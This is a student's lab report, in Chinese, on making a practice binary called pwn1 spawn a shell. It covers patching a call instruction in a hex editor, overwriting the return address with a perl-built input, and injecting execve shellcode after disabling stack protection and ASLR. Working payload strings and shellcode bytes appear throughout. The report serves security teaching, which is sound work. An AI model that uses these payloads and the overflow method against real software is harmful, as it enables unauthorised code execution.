Exp1 PC平台逆向破解 20164302 王一帆
1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
本次实验的三个实践内容如下:
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
-
运行原本不可访问的代码片段
-
强行修改程序执行流
-
以及注入运行任意代码。
1.2 基础知识
该实践需要我们掌握的一些内容
1.2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。
JE指令:条件转移指令,如果相等则跳转。
JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响 的标志寄存器位来得知比较结果。
1.2.2 掌握反汇编与十六进制编程器
objdump反汇编命令: objdump -f test //显示test的文件头信息 objdump -d test //反汇编test中的需要执行指令的那些section objdump -D test //与-d类似,但反汇编test中的所有section objdump -h test //显示test的Section Header信息 objdump -x test //显示test的全部Header信息 objdump -s test //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码 xxd命令: 用vi命令打开一个文件,在vi命令模式下输入 :%!xxd //回车后,该文件会以十六进制形式显示 :%!xxd -r //参数-r是指将当前的十六进制转换
1.2.3 机器指令
是CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。
1.2.4 gdb常用命令
(gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h;
(gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r;
(gdb)info:查看函数内部局部变量的数值,简写i;
(gdb)continue:继续运行,简写c;
(gbd)quit:退出gdb。
2 直接修改程序机器指令,改变程序执行流程
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF文件格式,掌握动态技术
2.1 下载是否会和目标文件pwn1,反汇编。
将文件pwn1复制到Desktop,使用mv重命名为20164302,执行命令 objdump -d 20164302
查找main、foo、getShell函数
红色矩形框中 "call 8048491"是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
按正常流程来说,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“e8 d7ffffff”,那让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接7d-4ba就能得到补码,是c3ffffff。下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
2.2 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
vi编辑pwn1文件,按ESC键,之后输入 :%!xxd ,将显示模式切换为16进制模式
找到需要修改的内容 /e8d7
将移动光标到“d7”,敲击r键,输入要改动的字符“c3"
输入 :%!xxd -r ,从16进制转换为原格式
输入 :wq 存盘并推出
2.3 查看修改情况并运行程序
再输入 objdump -d 20164302 | more ,反汇编一下文件,查看main函数是否正确调用getShell函数
运行修改后的文件,得到shell
3 通过构造输入参数,造成BOF攻击,改变程序执行流
计算机对接收的输入数据没有进行有效的检测,如果向缓冲区内填充数据时超过了缓冲区本身的容量,就会导致数据溢出到被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。此实验是通过构造含有getShell函数地址的字符串,造成缓冲区溢出,让getShell函数的地址恰好溢出到EIP,达到调用shell的目的。
3.1通过手动输入不同长度的字符串判断是否覆盖到返回地址
因为实验1中已对pwn1进行了修改,所以将原文件再复制一次,并重命名为wyf20164302
由图可知,当输入到28bit时,会产生溢出。
输入 gdb wyf20164302 ,在gdb内输入指令 r 执行文件,并输入48bit的字符串进行测试
输入 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555,这就说明刚刚输入测试字符串中5的部分溢出到了EIP中
为了准备判断字符串中的溢出位置,将字符串中的“55555555”替换为“12345678”,继续测试,观察具体是哪个位置溢出到了EIP寄存器中
发现“1234”这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符修改为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
getShell的内存地址,通过反汇编时可以看到,即0804847d,这里要注意地址要倒序输入,(代码中的顺序应为:\x7d\x84\04\08)。
通过perl构建输入文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
这里的" \x0a "表示" 回车 "
可以使用16进制查看指令xxd查看input文件的内容是否如预期
将input的输入,通过管道符“|”,作为文件的输入 (cat input; cat) | ./wyf20164302 ,最后,获得shell
4. 注入Shellcode并执行
4.1 准备工作
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
这是实验指导中给出的shellcode。
shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
4.2 修改配置
若提示找不到execstack命令,先输入命令 apt-get install execstack 进行安装
root@kali:~/Desktop# execstack -s pwn1 //设置堆栈可执行
root@kali:~/Desktop# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@kali:~/Desktop# more /proc/sys/kernel/randomize_va_space
2
root@kali:~/Desktop# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@kali:~/Desktop# more /proc/sys/kernel/randomize_va_space
0
root@kali:~/Desktop#
4.3 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode(恶意代码小于缓冲区大小)
- nop+shellcode+retaddr(恶意代码大于缓冲区大小)
4.3.1 构造32个字符“A”,其后为retaddr + nop + shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下来需要确定返回地址(即/x4/x3/x2/x1)需要填什么,输入 (cat input_shellcode;cat) | ./pwn1
注意:这里只需要按一次回车,否则就会
4.3.2 再开另外一个终端,用gdb来调试pwn1这个进程
ps -ef | grep pwn1 //找到pwn1的进程号
gdb //启动gdb调试这个进程
attach 4613 //gdb关联pwn1这个进程,开始调试 disassemble foo //通过设置断点,来查看注入buf的内存地址 break *0x080484ae //在另外一个终端中按下回车 c //continue
(写博客的时候才发现,这里没有截到attach 4613,【捂脸】)
通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,首地址为0xffffd37c,因此,0x90909090的地址即为,0xffffd37c+4字节=0xffffd380
将/x4/x3/x2/x1置为/x80/xd3/xff/xff即可(这里也要注意倒序),如图获得shell
5 实验收获与感想
这是网络对抗这门课程的第一个实验作业,刚知道作业的时候,我看看实验指导和之前学长学姐的博客,发现根本搞不懂原理,周二上完课之后,老师讲了实验原理,但是我还是有不太清楚的地方,就先摸索着做,过程中遇到了许多问题,除了自己在实验原理上理解障碍,还有文件夹无法共享、网络无法连接、软件包无法更新等突发问题,特别感谢我们小组组长给予的帮助,不进帮助我解决了kali存在的问题,还讲解了一些实验原理,使我在做实验过程中少走了很多弯路。通过实验我对课堂上讲的原理有了进一步的了解,说明实践队学习的掌握还是有很大的帮助,我在理解实验原理方面还有欠缺,之后会努力加强。
我认为漏洞是程序员在设计程序时,没有全面考虑到安全问题而出现的缺陷,让攻击者有机可乘,但是,我觉得漏洞是不可能在设计之初就被完全杜绝的。漏洞危害是攻击者利用发现的漏洞,通过一些技术手段,对程序、系统、文件等进行非正常的访问、操作等,进而间接造成信息泄露、经济损失等各方面、各种各样的不利影响和损失。